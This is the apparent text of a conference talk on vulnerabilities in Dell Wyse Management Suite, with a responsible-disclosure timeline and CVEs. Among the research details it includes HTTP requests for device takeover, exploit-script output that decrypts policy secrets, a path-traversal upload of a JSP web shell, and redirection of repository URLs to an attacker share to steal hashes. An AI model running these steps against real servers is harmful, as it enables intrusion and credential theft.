# Wyse Management Subversion



Taking Over Dell's Wyse Management Suite

**Alain Mowat** 

**Head of Research & Development** 



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**Head of Research & Development** 







https://cfp.insomnihack.ch



fabx 11:27 AM



Alain 11:27 AM yop



fabx 11:27 AM

question 🙂

tu sais si les mdp que tu recup dans une config de WMS c'est chiffré?

et si oui si il y a moyen de les dechiffrer

j'ai setup un proxy sur un des thin client et j'ai recup la config envoyer par le serveur WMS et visiblement j'ai un truc très interessant dedans



Alain 11:28 AM

je ne sais même as ce que 'est wms :p



fabx 11:29 AM

ah shi

bon ben je vais chercher 🤐



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fabx 11:27 AM

yep

Alain 11:27 AM

yep

fabx 11:27 AM

question 🔒

Do you know if the passwords you retrieve in a WMS config are encrypted?

And if so, is there a way to decrypt them?

I set up a proxy on one of the thin clients and retrieved the config sent by the WMS server, and apparently, I found something very interesting in it 😜

Alain 11:28 AM

I don't even know what WMS is :p

fabx 11:29 AM

ah shit

well, I guess I'll go look it up 😜

Overview Virtual Tour Benefits View Models

### COMPLETE YOUR THIN CLIENT SOLUTION

Wyse Management Suite is a secure hybrid cloud management solution for Dell Thin Clients.



### Wyse Management Suite Standard

Improve your productivity and enjoy streamlined deployment and maintenance with this free, on-premises management tool for small deployments.

Download



### Wyse Management Suite Pro

Gain instant control with zero installation time\*. Wyse Management Suite
Pro in public cloud comes with ProSupport for Software giving you peace of
mind knowing our team of technicians are available when you need them.

Free Trial

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Overview Virtual Tour Benefits View Models

Wyse Management Suite is a secure hybrid cloud management solution for Dell Thin Clients.




# **Wyse Management Suite**

Software can be downloaded from Dell's site


WMS Version 4.4.1 (latest at the time)

**Java Web Application runs on a Tomcat server** 

MySQL database Mongo database MQTT queue







# Group1

Device 1

Device 2

Device 3

### **Group1**

Device 1

Device 2

Device 3

# Group2

**Device 4** 

Device 5

**Device 6** 

### **Group1**

**Device 1** 

Device 2

Device 3

### Group2

**Device 4** 

**Device 5** 

**Device 6** 

### Group3

Device 7

**Device 8** 

### Group1

Device 1

Device 2

Device 3

### Group2

**Device 4** 

Device 5

**Device 6** 

### Group3

Device 7 Device 8

### Policy 1

ConfigOption1: ConfigValue1 ConfigOption2: ConfigValue2 ConfigOption3: ConfigValue3

### Group1

Device 1

Device 2

Device 3

### Group2

**Device 4** 

**Device 5** 

Device 6

### Group3


Device 7
Device 8

### Policy 1

ConfigOption1: ConfigValue1 ConfigOption2: ConfigValue2 ConfigOption3: ConfigValue3

### Policy 2

ConfigOption1: ConfigValue1 ConfigOption2: ConfigValue2



# What can be configured?

### Depending on the type of client, many things can be configured

- Firmwares
- Applications and packages to deploy
- Configuration options

# **Setting goals**

- 1. Decrypt policy data
- 2. Recover all policies
- 3. Compromise a device
- 4. Compromise the server

### **WMS Post-Setup exploration**

### **Peak into the MariaDB database**

### List the users

```
MariaDB [stratus]> select tenant_id,id,isactive,isdefault,ismanaged,isroot,loginname,password,registrationpassword from person;
ERROR 2006 (HY000): Server has gone away
No connection. Trying to reconnect...
Connection id: 734
Current database: stratus
                  isactive | isdefault | ismanaged | isroot | loginname
                                                                                        password
                                                                                        0wQogGL464mcTeo7RU6FxQ==
                                                             SystemUser@1.1
         1
                                                             defaultuser.1.2
                                                                                        NULL
                                                             stratusoperator@wyse.com
                                                                                        NULL
                                                              mobileadmin@wyse.com
                                                                                        zmZtSjM9yUmBBs9xf9eueA==
                                                            systemadmin@wyse.com
                                                                                        27:ca5cee10f34f06eb246f8a4ed5afe7a45e6194c988bb38d1f49a2207ec4763d7da1e2fa2c0b4c4d0c3800f49893dc69400484e85d7c9ddb3f6be6
                                                             SystemUser@2.6
                                                             detaultuser.2.7
                                                                                        NULL
                                                             defaultuser.2.8
                                                                                        NULL
                                                             alain@scrt.ch
                                                                                        27:fef4b58339635423ec632e287cb4a7b521ac3f5e1d995f312aaf35027d8eb476d424ee0a481d2b73073e5a54334ff6ffbaeec563c371fccf1ac4d
```

10 rows in set (0.025 sec)

MariaDB [stratus]>

### **WMS Post-Setup exploration**

### **Peak into the MariaDB database**

### List the users

```
MariaDB [stratus]> select tenant id,id,isactive,isdefault,ismanaged,isroot,loginname,password,registrationpassword from person;
ERROR 2006 (HY000): Server has gone away
No connection. Trying to reconnect...
Connection id:
               734
Current database: stratus
                  isactive | isdefault | ismanaged | isroot |
                                                                                         password
                                                                                        0wQogGL464mcTeo7RU6FxQ==
                                                              SystemUser@1.1
                                                              defaultuser.1.2
                                                                                        NULL
                                                              stratusoperator@wyse.com
                                                                                        NULL
                                                              mobileadmin@wyse.com
                                                                                         zmZtSiM9yUmBBs9xf9eueA==
                                                             systemadmin@wyse.com
                                                                                        27:ca5cee10f34f06eb246f8a4ed5afe7a45e6194c988bb38d1f49a2207ec4763d7da1e2fa2c0b4c4d0c3800f49893dc69400484e85d7c9ddb3f6be6
                                                             SystemUser@2.6
                                                             detaultuser.2.7
                                                                                        NULL
                                                              defaultuser.2.8
                                                                                        NULL
                                                             alain@scrt.ch
                                                                                         27:fef4b58339635423ec632e287cb4a7b521ac3f5e1d995f312aaf35027d8eb476d424ee0a481d2b73073e5a54334ff6ffbaeec563c371fccf1ac4d
```

10 rows in set (0.025 sec)

MariaDB [stratus]>

# changeitnow

# **Default credentials**

Allows you to login!

# **Default credentials**

### Allows you to login!

But the accounts are not assigned to any groups, so you can't actually access anything

Remains somewhat suspicious



### **WMS Post-Setup exploration**

# Installed Wyse Device Agent (WDA) on a Windows virtual machine

**Enrolled the device in WMS** 

Configured some policies to be applied to the device

### **Intercepted communications**

Reproduced my colleague's findings Certain values are encrypted

Passwords

```
"targetOS": null.
"configName": "centralConfiguration",
"configItems": [
   "itemKev": "fileServer".
   "itemValue": "sdDSA".
   "itemValueExtra": null,
   "valueTvpe": "STRING"
   "itemKev": "fileServerUser".
   "itemValue": "dsaDSA",
   "itemValueExtra": null,
   "valueType": "STRING"
   "itemKev": "fileServerPassword".
   "itemValue": "IUr1nwMjpMdVj9bTGwuQPlaRq4rBDZwd4lLxCB51wF6ZT+soK366pClZPWX+4Jnv",
   "itemValueExtra": null.
   "valueType": "STRING"
   "itemKev": "enableDelavedUpdate".
   "itemValue": "Yes".
   "itemValueExtra": null.
    "valueType": "BOOL"
```

### **Encryption analysis**

```
private String decryptWithTenantKeyEncryptWithDeviceKey(String value) {
    /* 3493 */ StratusSessionBean session = this.sessionDataHolder.getCurrentSessionData();
    /* 3494 */ String deviceEncKey = session.getDeviceEncKey();
    /* 3495 */ String tenantEncKey = session.getTenantEncKey();
    /* 3496 */ String newValue = AESCBCEncryptionUtil.decryptWithAESCBC(value, tenantEncKey,
    AESEncryptionUtil.EncodingScheme.BASE64);
    /* 3497 */ newValue = AESCBCEncryptionUtil.encryptWithAESCBC(newValue, deviceEncKey,
    AESEncryptionUtil.EncodingScheme.BASE64);
    /* 3498 */ return newValue;
    /* */ }
```

### **Attack surface exploration**

Most of the endpoints exposed by the Java application require authentication No obvious authentication bypass

### WMS allows devices to enrol themselves

Must know where the WMS server is

Must know the identifier of a device group you want to join (or join the default group)

Semi-random string

Needs to be validated by an administrator (by default, but can be disabled)

### **Enrolled devices can call more endpoints**


Even if they have not been accepted into a group yet


```
Request
                                                                           Response
                                                             Ø 🚍 /n ≡
              Hex
                                                                                                        Hackvertor
Pretty
       Raw
                   Hackvertor
                                                                                   Raw
1 POST /ccm-web/open/deviceGroupLogin HTTP/1.1
                                                                            1 HTTP/1.1 200
2 Device MAC: 00:0c:29:87:62:99
                                                                            2 Set-Cookie: JSESSIONID=CB8EA3A6DABDE320BE79A7F516EF2B05; Page 1
3 Accept: application/json
                                                                            3 Content-Security-Policy: script-src 'unsafe-eval' 'self' 'r
                                                                              sha256-kbHtQyYDQKz4SWMQ80HVol3EC0t3tHEJFPCSwNG9NxQ=
4 Content-Type: application/json
5 User-Agent: Stratus /4.7.5.0 (WES 10.0.22631; en-CH; VMware7,1;
                                                                            4 Strict-Transport-Security: max-age=31536000
  Revision: 14.6.9.21; cls: A)
                                                                            5 X-Frame-Options: SAMEORIGIN
6 Host: 192.168.142.149:8080
                                                                           6 X-Content-Type-Options: nosniff
7 Content-Length: 17
                                                                           7 X-XSS-Protection: 1; mode=block
8 Connection: keep-alive
                                                                           8 X-Content-Type-Options: nosniff
                                                                           9|Cache-Control: no-cache, no-store, max-age=0, must-revalida
                                                                           10 Pragma: no-cache
        'groupToken":""
                                                                           11 Expires: Thu, 01 Jan 1970 00:00:00 GMT
                                                                           12 vary: accept-encoding
                                                                           13 Content-Type: application/json; charset=UTF-8
                                                                           14 Date: Thu, 23 Jan 2025 14:36:46 GMT
                                                                           15 Keep-Alive: timeout=60
                                                                           16 Connection: keep-alive
                                                                          17 Content-Length: 1068
                                                                           19 {
                                                                                   "createdAt":null,
                                                                                   "id":510868677,
                                                                                   "updatedAt":null,
                                                                                   "isActive":true,
                                                                                   "dayNum":0,
```

```
Request
                                                                             Response
Pretty Raw Hex Hackvertor
                                                               Ø 🚍 n ≡
                                                                             Pretty Raw Hex Render Hackvertor
1 POST /ccm-web/open/deviceRegister HTTP/1.1
                                                                             1 HTTP/1.1 200
                                                                             2 Set-Cookie: JSESSIONID=AF97E54CC5CC5B2089FA9CA0603FE8A2; Path=/ccm-web; Secure; HttpOnly; SameSite=Lax
2 Device MAC: 00:0c:29:87:62:86
4 Accept: application/json
                                                                                sha256-kbHtQyYDQKz4SWMQ80HVol3EC0t3tHEJFPCSwNG9NxQ='
5 Content-Type: application/json
                                                                             4 Strict-Transport-Security: max-age=31536000
6 User-Agent: Stratus /4.7.5.0 (WES 10.0.22631; en-CH; VMware7,1;
                                                                             5 X-Frame-Options: SAMEORIGIN
                                                                             6 X-Content-Type-Options: nosniff
                                                                             7 X-XSS-Protection: 1; mode=block
                                                                             8 X-Content-Type-Options: nosniff
                                                                             9 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                            10 Pragma: no-cache
                                                                            11 Expires: Thu, 01 Jan 1970 00:00:00 GMT
       "hardwareSummary":{
                                                                            13 Content-Type: application/json; charset=UTF-8
                                                                            14 Date: Thu, 23 Jan 2025 10:37:45 GMT
                                                                            15 Keep-Alive: timeout=60
                                                                                    "ISACTIVE":True,
                                                                                     "deviceGetLogFileSupported":true
       "device0sType":{
       "devicePlatformType":{
            "modelCode":null.
       "name": "unregistered device",
```

Request	Response
Pretty Raw Hex Hackvertor   ⊗   □ In  □	Pretty Raw Hex Render Hackvertor
1 GET /ccm-web/device/getKey?wyseId=wyse8566241857117691387 HTTP/1.1 2 X-Stratus-date: 2025-01-21 14:49:00 3 Device_MAC: 00:0c:29:87:62:84 4 X-Stratus-device-owner-id: 513004067 5 X-Stratus-device-id: wyse8566241857117691387 X-Stratus-device-authentication-code: RLasG1oTinbcU0CQmdd/J7Bb2Cu7\HQvRw3zWtqCXktxK9ETTBMnSo+Ss0V3GXeqP9Yh YeWH/UMgDm+N33GXoxA== 7 Accept: application/json User-Agent: Stratus /4.7.5.0 (WES 10.0.22631; en-CH; VMware7,1; Revision:14.6.9.21; cls:A) 9 Host: 192.168.142.149:8080 Connection: keep-alive	1 HTTP/1.1 200 2 Cache-Control: private 3 Strict-Transport-Security: max-age=31536000 4 X-Frame-Options: SAMEORIGIN 5 X-Content-Type-Options: nosniff 6 X-XSS-Protection: 1; mode=block 7 Set-Cookie: JSESSIONID=02F27465A5AC34BD19CAC6660FE8F7CD; Path=/ccm-web; Secure; HttpOnly; SameSite=Lax 8 X-Content-Type-Options: nosniff 9 Cache-Control: no-cache, no-store, max-age=0, must-revalidate 10 Pragma: no-cache 11 Expires: Thu, 01 Jan 1970 00:00:00 GMT 12 Content-Type: application/json;charset=UTF-8 13 Content-Length: 44 14 Date: Tue, 21 Jan 2025 14:53:39 GMT 15 Keep-Alive: timeout=60 16 Connection: keep-alive 17 18 KYVkyiHnDOeoCbEI1XaBP0UBygv4jllF0cP/5w2tuYo=

Re	esponse
Raw Hex H <mark>ackvertor &amp; 5 In E Pre</mark>	retty Raw Hex Render Hackvertor
com-web/device/getKey?wyseId=wyse8566241857117691387 H TP/1.1 atus-date: 20 ½-01-21 14:49:00 a	HTTP/1.1 200  Cache-Control: private  Strict-Transport-Security: max-age=31536000  X-Frame-Options: SAMEDRIGIN  X-Content-Type-Options: nosniff  X-XSS-Protection: 1; mode=block Set-Cookie: JSESSIONID=02F27465A5AC34BD19CAC6660FE8F7CD; Path=/ccm-web; Secure; HttpOnly; SameSite=Lax  X-Content-Type-Options: nosniff  Cache-Control: no-cache, no-store, max-age=0, must-revalidate  Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT  Content-Type: application/json;charset=UTF-8  Content-Length: 44  Date: Tue, 21 Jan 2025 14:53:39 GMT  Keep-Alive: timeout=60  Connection: keep-alive





X-Stratus-device-authentication-code: base64(sha3\_512(wyseid + date + authCode))

## **Encryption key**

Some additional reverse engineering shows that a call to getKey returns a NEW key for the device Invalidates former key

For the device that is specified in the URL

Can't intercept an old encrypted value and decrypt with a newly generated key

Would need to extract the device's key from the device itself

On Windows, this is found in a registry key accessible only to SYSTEM

HKEY\_LOCAL\_MACHINE\SOFTWARE\Wyse\WDA

Have not searched where the key is located on other types of devices

# **Get configuration (policies)**

Request		Response
Pretty Raw Hex Hackvertor	& 🚍 \n ≡	Pretty Raw Hex Render Hackvertor
1 POST /ccm-web/device/fullConfig HTTP/1.1 2 X-Stratus-date: 2025-01-16 13:51:00 3 Device MAC: 00:0c:29:87:62:84 4 X-Stratus-device-owner-id: 513004067 5 X-Stratus-device-id: wyse8566241857117691387 5 X-Stratus-device-authentication-code: 6tF92Et2cu4oCkuZg2QLlhfeQJxZ9qVRs6j8sJT8jxkka0t+x2f: wUygMauMWzpSNpzxCgA3g== 7 Accept: application/json 8 Content-Type: application/json User-Agent: Stratus /4.7.5.0 (WES 10.0.22631; en-CH Revision:14.6.9.21; cls:A) 10 Host: 192.168.142.149:8080 Connection: keep-alive Content-Length: 2 3 4 { }	; VMware7,1;	<pre>1 HTTP/1.1 200 2 Strict-Transport-Security: max-age=31536000 3 X-Frame-Options: SAMEORIGIN 4 X-Content-Type-Options: nosniff 5 X-XSS-Protection: 1; mode=block 6 X-Content-Type-Options: nosniff 7 Cache-Control: no-cache, no-store, max-age=0, must-revalidate 8 Pragma: no-cache 9 Expires: Thu, 01 Jan 1970 00:00:00 GMT vary: accept-encoding 1 Content-Type: application/json;charset=UTF-8 12 Date: Thu, 16 Jan 2025 13:52:27 GMT 13 Keep-Alive: timeout=60 14 Connection: keep-alive 16 Content-Length: 2582 16 17 {     "deviceElements":null,     "pendingWaveCommandInfo":null,     "deviceElementsV2:rull,     "configSettings":null,     "shouldSendRemoteCommand":false,     "isJailBroken":false,     "compliantStatus":0,     "passcodeCompliantStatus":1,     "computeJailbreak":true,     "isCaValidationOn":false,     "personInfoLean":null,     "lastUpdatedAt":17386929777000,     "passcodeProfileDescription":null,     "deviceQueryStatus":null,     "deviceQueryStatus":null,     "deviceQueryStatus":null,     "deviceQueryStatus":null,     "configurations":{         "contentProvider":null,         "deviceQueryStatus":null,         "deviceQueryStatus":null,         "deviceQueryStatus":null,         "deviceQueryStatus":null,         "deviceQueryStatus":null,         "deviceQueryStatus":null,         "deviceQueryStatus":null,         "deviceQueryStatus":null,         "deviceQueryStatus</pre>

### **Enrolment process weaknesses**

### 2 weaknesses in the enrolment process

It is possible to leak all the existing "group tokens"

- Discover all existing groups and potentially join them (depending on automatic validation)
  - 3'000 \$ bounty!
  - Can't talk about this issue in details (more on this later)

If a previously known MAC address is specified during registration, you can overwrite the target device

- Recover all its policies
- Even if enrolment validation is enabled

## **Policy decryption**

### If a valid device MAC address is known

- Register a new device with the MAC address
- Generate a new encryption key for the device
- Retrieve the device's configuration
- Decrypt with the generated key

### If no MAC address is known

- Leak all group tokens
- Register a new device to each group [will require admin interaction by default]
- Generate new encryption key
- Retrieve configuration
- Decrypt

### **Exploit demo**

```
coolz0r@nobody:/mnt/hqfs/Research/Wyse$ python3 get-fullconfig.py
[*] Attempting to register an unmanaged device
[+] Got unmanaged owner id : 7916447
[+] wyseId : wyse8566241857117691387
[+] Authcode : NPD+zGhBrVLw73g+tUVGJ93VwXrUcyTkQkRP2di4MZhpYSednSMi2abOLl86d09IQj4BGW2ARsjQKi91IlpzeQ==
[*] Attempting to get groupToken for group ID 1
[+] Got group authToken : defa).hVm63P
[*] Register new managed device
[+] ownerid : 579101977
[+] wyseId : wyse8566241857117691387
[+] Authcode : tOctu3alKNeHdRYmmi8radBG0Ut1veGbvY8FdczwddtRw6RoK3oODT7yLxzO6G9n4t2sgdoOdFBa13gXQCscMw==
[*] Get device encryption key
[+] Device Kev : 03je50JawkJK/q3oRBj52vA5RTK34jqV73TZ/iHXPV8=
[*] Get device config
b'[{"url":"C:\\\WMS\\\LocalRepo/wms-repo","isCaValidationOn":false,"subnets":null}]'
[+] Found the following repositories
[+] [{'url': 'C:\\WMS\\LocalRepo/wms-repo', 'isCaValidationOn': False, 'subnets': None}]
b'{"deviceElements":null."pendingWaveCommandInfo":null."deviceElementsV2":null."configSettings":null."fullConfiguration":false.
0,"passcodeProfileDescription":null,"deviceQueryId":null,"deviceQueryStatus":null,"configurations":{"contentProvider":null,"desc
e":"JSON"}],"contentVersion":null},{"targetOS":null,"configName":"centralConfiguration","configItems":[{"itemKey":"fileServer",'
6pClZPWX+4Jnv","itemValueExtra":null,"valueType":"STRING"},{"itemKey":"enableDelayedUpdate","itemValue":"Yes","itemValueExtra":r
ord","itemValue":"","itemValueExtra":null,"valueType":"STRING"},{"itemKey":"delayedUpdateMode","itemValue":"Image and Add-ons",'
ceBaseSystemUpgrade","itemValue":"No","itemValueExtra":null,"valueType":"BOOL"}],"contentVersion":"2.6.0"}]},"allowUnregistratio
web"."heartbeatIntervalInMins":0."checkInIntervalInHours":0."groupToken":null."personalDeviceSettings":null."wmsVersion":"4.9.5'
```

# **Setting goals**

- Decrypt policy data
- Recover all policies
- 3. Compromise a device
- 4. Compromise the server

## **Device Types**

The solution supports various device types

A device signals its type during registration

Any type can be specified here

As long as the license supports it

```
POST /ccm-web/open/deviceRegister HTTP/1.1
Device MAC: 00:0c:29:87:62:86
X-Stratus-device-owner-id: 169089352
Accept: application/ison
Content-Type: application/json
User-Agent: Stratus /4.7.5.0 (WES 10.0.22631; en-CH; VMware7,1;
Revision: 14.6.9.21; cls:A)
Host: 192.168.142.149:8080
Content-Length: 664
Connection: keep-alive
     "hardwareSummary":{
          "bios": "N/A".
          "cpuSpeed":null,
          "manufacturer": "N/A"
     "aroupId":7.
     "groupName": "totolol",
     "isQuarantined":false,
     "deviceStatus":{
          "id":5.
     "macAddress": "00:0c:aa:13:62:88",
     "device0sType":{
          "description": "Windows 11 Pro 64 toto'\"><i>lol",
          "type": "39"
     "devicePlatformType":{
          "modelCode":null,
     "deviceType":{
     "postvatidationGroupName":"plop",
     "name": "unregistered device",
     "isQuarantined":false,
```

#### **Device Types**

```
public static final class DEVICE_TYPE /* */ {
/* */ public static final int General = 1;
/* */ public static final int iPhone = 2;
/* */ public static final int iPAD = 3;
/* */ public static final int AndroidPhone = 4;
/* */ public static final int AndroidPad = 5;
/* */ public static final int ThinOS = 6:
/* */ public static final int GoogleAndroid = 7:
/* */ public static final int IOS = 8;
/* */ public static final int iPod = 9:
/* */ public static final int PC = 10;
/* */ public static final int CloudConnect = 11;
/* */ public static final int Keystone = 12;
/* */ public static final int OnPremContainer = 13;
/* */ public static final int WES = 14;
/* */ public static final int DellAndroid = 15;
/* */ public static final int SamsungKnox = 16;
/* */ public static final int GenericAndroid = 17;
/* */ public static final int GenericThinClient = 18;
/* */ public static final int WindowsPhoneLegacy = 19;
/* */ public static final int Linux = 20;
/* */ public static final int MobileDevice = 21;
```

```
/* */ public static final int Desktop = 22;
/* */ public static final int ADService = 23;
/* */ public static final int WindowsDevice = 24;
/* */ public static final int WindowsPhone = 25;
/* */ public static final int Windows100S = 26;
/* */ public static final int WyseSoftwareThinClient = 30:
/* */ public static final int Teradici = 40;
/* */ public static final int Iot = 50;
/* */ public static final int IotGateway = 51;
/* */ public static final int ThinLinux = 52;
/* */ public static final int IoTEdgeWindow = 53;
/* */ public static final int EmbeddedPC = 54;
/* */ public static final int EmbeddedPCWindow = 55;
/* */ public static final int EmbeddedPCUbuntu = 56;
/* */ public static final int DEMA = 57;
/* */ public static final int LocalRepo = 58;
/* */ public static final int EdgeGwUbuntuServer = 59:
/* */ public static final int Thinos9 = 60;
/* */ public static final int HybridClient = 61;
/* */ public static final int GroupBased = 62;
/* */ public static final int GenericClient = 100;
/* */ }
```


#### **Device Types**


```
public static final class DEVICE_TYPE /* */ {
/* */ public static final int General = 1;
/* */ public static final int iPhone = 2;
/* */ public static final int iPAD = 3;
/* */ public static final int AndroidPhone = 4;
/* */ public static final int AndroidPad = 5;
/* */ public static final int ThinOS = 6:
/* */ public static final int GoogleAndroid = 7:
/* */ public static final int IOS = 8;
/* */ public static final int iPod = 9:
/* */ public static final int PC = 10;
/* */ public static final int CloudConnect = 11;
/* */ public static final int Keystone = 12;
/* */ public static final int OnPremContainer = 13;
/* */ public static final int WES = 14;
/* */ public static final int DellAndroid = 15;
/* */ public static final int SamsungKnox = 16;
/* */ public static final int GenericAndroid = 17;
/* */ public static final int GenericThinClient = 18;
/* */ public static final int WindowsPhoneLegacy = 19;
/* */ public static final int Linux = 20;
/* */ public static final int MobileDevice = 21;
```

```
/* */ public static final int Desktop = 22;
/* */ public static final int ADService = 23;
/* */ public static final int WindowsDevice = 24;
/* */ public static final int WindowsPhone = 25;
/* */ public static final int Windows100S = 26;
/* */ public static final int WyseSoftwareThinClient = 30:
/* */ public static final int Teradici = 40;
/* */ public static final int Iot = 50;
/* */ public static final int IotGateway = 51;
/* */ public static final int ThinLinux = 52;
/* */ public static final int IoTEdgeWindow = 53;
/* */ public static final int EmbeddedPC = 54;
/* */ public static final int EmbeddedPCWindow = 55;
/* */ public static final int EmbeddedPCUbuntu = 56;
/* */ nublic static final int DFMA = 57:
/* */ public static final int LocalRepo = 58;
/* */ public static final int EdgeGwUbuntuServer = 59:
/* */ public static final int Thinos9 = 60;
/* */ public static final int HybridClient = 61;
/* */ public static final int GroupBased = 62;
/* */ public static final int GenericClient = 100;
/* */ }
```

By default, the solution registers a Local Repository device which is where all config files and applications are stored


Can also add remote repositories, more on this later






#### Adding a new Local Repository seems to break the system...

#### UI stops working in the file repository section



#### Adding a new Local Repository seems to break the system...

#### UI stops working in the file repository section



But we can theoretically "replace" the local repository and reconfigure it if we know its MAC address Change the repository URL

\\attacker\folder

Steal hashes when server or devices attempt to recover files

\\attacker\folder\some\arbitrary\file.ext

This will temporarily break the whole solution though

Unless we replicate all the existing files first


There are multiple endpoints which allow devices to upload or download files


But filenames are strictly checked and prefixed with a folder hierarchy




#### By replacing the local repository, we can reconfigure its URL


Point to attacker-controlled server with a symlink to a folder on the original server Write arbitrary files to arbitrary locations








47





Hacker machine 10.0.0.1

# **WMS Server** ::::: ··• 5. Upload device logo [logo.jsp]/ **Hacker machine**

Hacker machine 10.0.0.1







Hacker machine 10.0.0.1

# **Setting goals**

- Decrypt policy data
- Recover all policies
- Compromise a device
- Compromise the server


# **Remote repository**

#### What about remote repositories?

WMS is built to support multiple file repositories

Typically used as a content distribution network to serve different subnets in a large network

There is an installer for WMR (remote repositories)




# **Wyse Management Suite Repository**

#### Arbitrary file upload allows RCE by uploading a JSP file


#### Requires knowledge of a valid Wyse Identifier

Request		Response
Pretty Raw Hex Hackvertor	& 🚍 \n ≡	Pretty Raw Hex Render Hackvertor
POST /wms-repo/device/logfile/2 HTTP/1.1 Host: 192.168.142.112 Cookie: JSESSIONID=BFA254958672F5886089CE10B44C4E2A; JSESSIONID=E953F7A8D87F27232EA7DE887E3F0549 Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24" Sec-Ch-Ua-Mobile: ?0 deviceId: 1 deviceIype: 17 fileName:////Program Files/DELL/WMSRepository/Tomcat-10/webapps/R00T/pwn.jsp wyseIdentifier: wyse2737404399653236251		1 HTTP/1.1 200 2 Strict-Transport-Security: max-age=31536000 3 X-Frame-Options: SAMEORIGIN 4 X-Content-Type-Options: nosniff 5 X-XSS-Protection: 1; mode=block 6 Content-Type: text/html;charset=UTF-8 7 Content-Length: 14 8 Date: Mon, 20 Jan 2025 14:14:45 GMT 9 Keep-Alive: timeout=60 10 Connection: keep-alive
10 See Ch Va Platform: "Linux"		12 {"status":200}
Accept-Language: en-US,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537. Gecko) Chrome/131.0.6778.140 Safari/537.36  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image g,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Priority: u=0, i Connection: keep-alive Content-Type: application/x-ww-form-urlencoded Content-Length: 8		
25 dsadsdsa		


#### WMR servers worldwide



# WMS servers worldwide



# Listing repositories from a WMS server



#### Remote repositories

#### We can compromise a WMR from a WMS

Can we do it the other way round?

#### Yes! (if automatic sync is enabled)


There is a synchronisation feature between repositories

- Files added/modified on one repo are synchronised to others
- Path traversal in this function too

We can register a new WMR and then advertise files to be written to arbitrary locations on the WMS server!

```
Request
Pretty Raw Hex
1 POST /ccm-web/device/wms-repo/populateTCFiles HTTP/1.1
3 Content-Type: application/ison:charset=UTF-8
4 Accept-Encoding: gzip, deflate, br
5 User-Agent: WMS Repo-4.4.0
6 Date: 2025-02-21 09:00:50 UTC
7 X-Stratus-device-owner-id: 119530432987457331
8 X-Stratus-device-id: wvse8555059089539728236
9 X-Stratus-device-authentication-code: hl7VS+7fSwfoeLFFs9Yd3w==
0 Host: WIN-U93JFHL2D35:443
 Connection: keep-alive
             "executableFiles":{
                        id":null.
                       "updatedAt":null.
                       "isActive":true,
                       "fileName":"asdfxxxxxxxxxss123.txt",
                       "fileSizeInBytes":0,
                      "modifiedDate":0
                       "checksum":null,
                       Checksumwiinmashversionz inulli.
```


#### Live demo?



# **Setting goals**

- Decrypt policy data
- Recover all policies
- Compromise a device
- Compromise the server

# **Cloud environment**



# **Cloud environment**

Some 300'000+ registered devices on the European tenant

Can leak group tokens across tenants!

Which means we can register to any tenant, list remote repositories and pwn them!

Haven't actually done this for obvious reasons...

#### Bonus vuln

#### **Cross-Site Scripting**

When a remote repository announces which files it hosts to the WMS Scripts can be inserted into the admin's page when browsing the remote files from WMS

But there is a strict CSP

```
HTTP/1.1 200

Cache-Control: private

Content-Security-Policy: script-src 'unsafe-eval' 'self'
'nonce-IHARXV\lhSULA1JaN10DC0IJ4drMr9N8uhYT1b/bHh8=' 'unsafe-hashes'
'sha256-rRMdkshZyJlCmDX27XnL7g3zXaxv7ei6Sg+yt4R3svU='
'sha256-kbHtQyYDQKz4SWMQ80HVol3EC0t3tHEJFPCSwNG9NxQ='
Strict Transport Socurity: may access1E360000
```

• 'self' is allowed, but seems like the way the script is added to the page with jquery isn't considered as 'self' even though it is <script src=/somewhere></script>

#### No restrictions on Style sheets!

- Feels like a CTF
- It is possible to extract the CSRF token from the page

#### 03.02.2025 - Disclose initial vulnerability through Bugcrowd

#### Description

Hello.

I will be reporting a series of vulnerabilities in Dell Wyse Management Suite. I am not particularly interested in the bounties, but would like to write a blog post and/or present the findings at a conference at a later date once all issues have been corrected. I hope this is something which can be agreed upon? If Bugcrowd is not the best platform to perform this coordinated disclosure (since it does not allow for disclosure), please let me know, and I can file the other issues elsewhere. Otherwise I'll wait for a response on this one before submitting the others.

#### Disclosure policy

Please note: This engagement does **not allow** disclosure. You may not release information about vulnerabilities found in this engagement to the public.

**03.02.2025** – Disclose initial vulnerability through Bugcrowd

**05.02.2025** – Disclose additional 5 vulnerabilities by email

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21.02.2025 - Disclose additional (path traversal in WMS) vulnerability

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- 21.02.2025 Disclose additional (path traversal in WMS) vulnerability
  - Multiple emails exchanged to help reproduce the findings

- **03.02.2025** Disclose initial vulnerability through Bugcrowd
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- 13.02.2025 3000\$ reward on Bugcrowd
- **21.02.2025** Disclose additional (path traversal in WMS) vulnerability

  Multiple emails exchanged to help reproduce the findings
- **03.03.2025** Acknowledge 5 vulnerabilities
  - 1. WMS Arbitrary File Upload
  - 2. WMS Cross-Site scripting in web UI
  - 3. WMS No validation required to enroll Local or Remote Repositories
  - 4. WMS Device takeover by MAC Address
  - 5. WMS Group Token disclosure (being tracked via BugCrowd submission)

- 03.02.2025 Disclose initial vulnerability through Bugcrowd
- 05.02.2025 Disclose additional 5 vulnerabilities by email
- 13.02.2025 3000\$ reward on Bugcrowd
- 21.02.2025 Disclose additional (path traversal in WMS) vulnerability
  - Multiple emails exchanged to help reproduce the findings
- **03.03.2025** Acknowledge 5 vulnerabilities
- 01.04.2025 Security advisory published
- https://www.dell.com/support/kbdoc/en-us/000296515/dsa-2025-135
  - CVE-2025-29981: Exposure of Sensitive Information Through Data Queries vulnerability (CVSS: 7.5)
  - CVE-2025-27692: Unrestricted Upload of File with Dangerous Type vulnerability (CVSS: 4.7)
  - CVE-2025-27693: Improper Neutralization of Input During Web Page Generation (CVSS: 4.9)
  - CVE-2025-27694: Insufficient Resource Pool vulnerability (CVSS: 5.3)
  - CVE-2025-27695: Authentication Bypass by Spoofing vulnerability (CVSS: 4.9)

#### **Recommendations**

- Update to the latest version
- Require admin validation when devices enrol
- Monitor addition/modification of devices
- Understand that secrets shared in configurations can be decrypted by endpoints

# **Thanks**

**Alain Mowat** 

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alain.mowat@orangecyberdefense.com

